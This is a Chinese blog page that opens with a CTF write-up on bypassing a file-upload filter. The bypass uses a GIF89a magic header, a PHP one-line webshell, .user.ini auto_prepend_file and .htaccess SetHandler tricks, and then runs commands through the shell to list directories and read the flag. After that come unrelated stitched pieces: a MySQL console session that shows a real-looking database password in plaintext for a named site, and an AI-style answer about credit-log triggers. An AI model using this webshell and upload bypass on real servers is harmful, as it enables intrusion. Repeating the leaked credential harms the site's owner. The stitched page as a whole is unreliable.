suctf-checkin+.user.ini+.htaccess绕过

前言

由这个题和MRCTF中的我传你吗这两个题总结.htaccess.user.ini绕过文件上传

wp

首先这个题就是用.user.ini或者.htaccess来绕过

我们传png文件,看到exif_imagetype:not image!

exif_imagetype,就是用来检查图像类型的

必须要gif文件,但是我们在文件内容上加个魔法头GIF89a,就可以绕过

我们用后缀为.user.ini或者.htaccess,发现只要加个魔法头都可以传进去

本来是直接用

<?php
    eval($_post[1]);   
?>

但是不行,返回contents有问题,说明对文件内容进行了过滤

我手工FUZZ了一下,<?被过滤了,其他都应该没有

然后换了个一句话木马

<script language='php'>eval($_POST[1]);</script>

我们可以传1.png文件进去,文件内容

GIF89a
一句话木马

再传.user.ini文件

文件内容
auto_prepend_file=/var/www/html/upload/....(路径)
auto_append_file=/var/www/html/upload/....(路径)

然后用蚁剑连接或者直接访问url,用命令执行

POST:1=var_dump(scandir("/"));找路径
然后1=var_dump(system("cat /f*"));

如果是.htaccess

只需要把文件内容改一下

SetHandler application/x-httpd-php,把全部文件都指定为php文件执行。

.user.ini绕过

.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)

.htaccess绕过

[CTF].htaccess的使用技巧总结_Y4tacker的博客-优快云博客

[root@yfw ~]# cd /www/wwwroot/szrengjing.com [root@yfw szrengjing.com]# mysql -u szrengjing_com -pZparETNy4DTZBAiT szrengjing_com mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 100269 Server version: 5.7.42-log Source distribution Copyright (c) 2000, 2023, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> DROP TRIGGER IF EXISTS tr_after_update_credit; Query OK, 0 rows affected (0.00 sec) mysql> DELIMITER ;; mysql> CREATE TRIGGER tr_after_update_credit -> AFTER UPDATE ON ecs_user_credit -> FOR EACH ROW -> BEGIN -> -- 只有当分数发生变化时才记录 -> IF OLD.score <> NEW.score THEN -> INSERT INTO ecs_user_credit_log ( -> user_id, -> change_value, -> old_score, -> new_score, -> reason -> ) VALUES ( -> NEW.user_id, -> NEW.score - OLD.score, -> OLD.score, -> NEW.score, -> CONCAT('自动记录: ', NEW.score - OLD.score) -> ); -> END IF; -> END;; Query OK, 0 rows affected (0.02 sec) mysql> DELIMITER ; mysql> CALL sp_add_credit_by_action(1, 'checkin'); ERROR 1644 (45000): 今日已签到,不可重复 mysql> DELIMITER ;; mysql> DROP TRIGGER IF EXISTS tr_after_update_credit;; Query OK, 0 rows affected (0.01 sec) mysql> CREATE TRIGGER tr_after_update_credit -> AFTER UPDATE ON ecs_user_credit -> FOR EACH ROW -> BEGIN -> -- 只有当分数发生变化时才记录 -> IF OLD.score <> NEW.score THEN -> INSERT INTO ecs_user_credit_log ( -> user_id, -> change_value, -> old_score, -> new_score, -> reason -> ) VALUES ( -> NEW.user_id, -> NEW.score - OLD.score, -> OLD.score, -> NEW.score, -> CONCAT('自动记录: ', NEW.score - OLD.score) -> ); -> END IF; -> END;; Query OK, 0 rows affected (0.01 sec) mysql> DELIMITER ; mysql> UPDATE ecs_user_credit SET score = 94 WHERE user_id = 1; Query OK, 0 rows affected (0.00 sec) Rows matched: 1 Changed: 0 Warnings: 0 mysql> SELECT * FROM ecs_user_credit_log WHERE user_id = 1 ORDER BY created_at DESC LIMIT 10; +----+---------+-----------+-----------+--------------+-----------------------+---------------------+ | id | user_id | old_score | new_score | change_value | reason | created_at | +----+---------+-----------+-----------+--------------+-----------------------+---------------------+ | 6 | 1 | 94 | 94 | 0 | 自动记录: 0 | 2025-11-09 07:03:34 | | 7 | 1 | 94 | 94 | 0 | 初始化测试用户 | 2025-11-09 07:03:34 | | 5 | 1 | 95 | 90 | -5 | 系统调整 | 2025-11-09 06:22:39 | | 4 | 1 | 90 | 95 | 5 | 系统调整 | 2025-11-09 06:21:06 | | 3 | 1 | 85 | 90 | 5 | 测试加分 | 2025-11-09 05:55:47 | | 1 | 1 | 80 | 95 | 15 | 完善个人资料 | 2025-11-09 05:38:14 | | 2 | 1 | 95 | 85 | -10 | 评论被举报 | 2025-11-09 05:38:14 | +----+---------+-----------+-----------+--------------+-----------------------+---------------------+ 7 rows in set (0.00 sec) mysql> DELETE FROM ecs_user_credit_log -> WHERE user_id = 1 -> AND change_value = 0 -> AND reason LIKE '自动记录:%'; Query OK, 1 row affected (0.01 sec) mysql> -- 改成 mysql> SET v_reason = CONCAT('action:', p_action_type); ERROR 1193 (HY000): Unknown system variable 'v_reason' mysql> mysql> -- 或带数值 mysql> SET v_reason = CONCAT('action:', p_action_type, ':', v_credit_value); ERROR 1193 (HY000): Unknown system variable 'v_reason' mysql>
最新发布
11-10
你已经做得非常棒了!👏 我们来 **逐条分析你刚刚的操作结果**,并解决你在最后遇到的错误。 --- ## ✅ 你的操作总结 | 操作 | 结果 | 是否成功 | |------|------|----------| | 删除旧触发器 | `DROP TRIGGER IF EXISTS ...` | ✅ 成功 | | 创建新触发器(带 `IF OLD<>NEW` 判断) | `CREATE TRIGGER ...` | ✅ 成功 | | 执行无变化更新:`score=94 → 94` | `Changed: 0` | ✅ 没有新增日志,说明触发器生效 | | 查询信用日志 | `SELECT * FROM ...` | ✅ 显示完整历史 | | 删除无效日志 | `DELETE FROM ... WHERE change_value = 0 AND reason LIKE '自动记录:%'` | ✅ 删除了 1 行 | 🎯 **重点成果:** > 你现在拥有一个 **只记录真实变更、无垃圾数据的日志系统**! ```sql -- 这条命令删除了一条“自动记录: 0”的冗余日志 DELETE FROM ecs_user_credit_log WHERE user_id = 1 AND change_value = 0 AND reason LIKE '自动记录:%'; ``` ✅ 执行成功,影响 1 行。 现在表中只剩一条 `change_value=0` 的记录: - `id=7`,reason = `初始化测试用户` - 它不是“自动记录”,所以没被删掉 → 合理保留 ✅ --- ## ❌ 错误分析:为什么出现 `Unknown system variable 'v_reason'`? 你输入了这两行: ```sql SET v_reason = CONCAT('action:', p_action_type); SET v_reason = CONCAT('action:', p_action_type, ':', v_credit_value); ``` 报错: ``` ERROR 1193 (HY000): Unknown system variable 'v_reason' ``` ### 📌 原因: 这些语句是 **存储过程内部使用的变量赋值语法**,不能直接在 MySQL 客户端交互式执行! 👉 `v_reason` 是一个 **局部变量(local variable)**,必须定义在 `BEGIN ... END` 内部,并且只能在 **存储过程或函数中使用**。 --- ## ✅ 正确做法:修改存储过程 `sp_add_credit_by_action` 你应该去 **修改原来的存储过程代码**,把里面的 `reason` 改成结构化格式。 --- ### 🔧 修改建议:优化 `sp_add_credit_by_action` 存储过程 假设你的原存储过程中有类似这样的逻辑: ```sql INSERT INTO ecs_user_credit_log (...) VALUES (... , '签到加分'); ``` 我们要改成可解析的格式,比如:`action:checkin:+5` ### ✅ 新版存储过程示例: ```sql DELIMITER ;; DROP PROCEDURE IF EXISTS sp_add_credit_by_action;; CREATE PROCEDURE sp_add_credit_by_action( IN p_user_id INT, IN p_action_type VARCHAR(50) ) BEGIN DECLARE v_credit_value INT DEFAULT 0; DECLARE v_current_score INT; DECLARE v_reason VARCHAR(255); -- 获取该行为对应的加分值 SELECT credit_value INTO v_credit_value FROM ecs_credit_actions WHERE action_type = p_action_type AND status = 1; IF v_credit_value IS NULL THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = '无效的行为类型'; END IF; -- 检查是否已签到(以签到为例) IF p_action_type = 'checkin' THEN IF EXISTS ( SELECT 1 FROM ecs_user_credit_log WHERE user_id = p_user_id AND reason = 'action:checkin' AND DATE(created_at) = CURDATE() ) THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = '今日已签到,不可重复'; END IF; END IF; -- 更新用户信用分(会触发 tr_after_update_credit) UPDATE ecs_user_credit SET score = score + v_credit_value WHERE user_id = p_user_id; -- 如果没有这个用户,则插入新记录 IF ROW_COUNT() = 0 THEN INSERT INTO ecs_user_credit (user_id, score) VALUES (p_user_id, v_credit_value) ON DUPLICATE KEY UPDATE score = score + v_credit_value; END IF; -- 设置标准化的原因字段 SET v_reason = CONCAT('action:', p_action_type, ':', v_credit_value); -- 手动写入日志(可选,也可由触发器完成) INSERT INTO ecs_user_credit_log ( user_id, old_score, new_score, change_value, reason ) SELECT c.user_id, c.score - v_credit_value, c.score, v_credit_value, v_reason FROM ecs_user_credit c WHERE c.user_id = p_user_id; END;; DELIMITER ; ``` --- ### ✅ 修改后效果 当你执行: ```sql CALL sp_add_credit_by_action(1, 'checkin'); ``` 它会: - 加分(比如 +5) - 记录日志,`reason = 'action:checkin:+5'` - 触发器不会重复记录(因为分数变了才会触发) --- ### ✅ 如何查看当前存储过程? ```sql SHOW CREATE PROCEDURE sp_add_credit_by_action\G ``` 你可以用这个命令看看现有逻辑,再决定是否需要替换。 --- ## ✅ 推荐:统一 `reason` 格式规范 | 类型 | 示例 | |------|------| | `action:register:+10` | 注册奖励 | | `action:checkin:+5` | 签到加分 | | `penalty:report:-10` | 被举报扣分 | | `admin:adjust:+20` | 管理员调整 | | `system:init:+80` | 初始化设置 | 这样未来可以用 SQL 做聚合分析: ```sql -- 统计所有用户的总签到次数 SELECT COUNT(*) FROM ecs_user_credit_log WHERE reason LIKE 'action:checkin:%'; -- 统计某用户因“被举报”总共被扣多少分 SELECT SUM(change_value) FROM ecs_user_credit_log WHERE user_id = 1 AND reason LIKE 'penalty:report:%' AND change_value < 0; ``` --- ## ✅ 总结:你现在应该做什么? | 目标 | 操作 | |------|------| | ✅ 清理无效日志 | 已完成 ✅ | | ✅ 防止未来产生无效日志 | 已通过触发器修复 ✅ | | 🔧 规范 `reason` 字段 | 需要修改 `sp_add_credit_by_action` 存储过程 ⏳ | | 🔍 查看现有存储过程 | `SHOW CREATE PROCEDURE sp_add_credit_by_action\G` | | 💾 备份后再修改 | 先导出:`mysqldump szrengjing_com sp_add_credit_by_action > backup_proc.sql` | --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值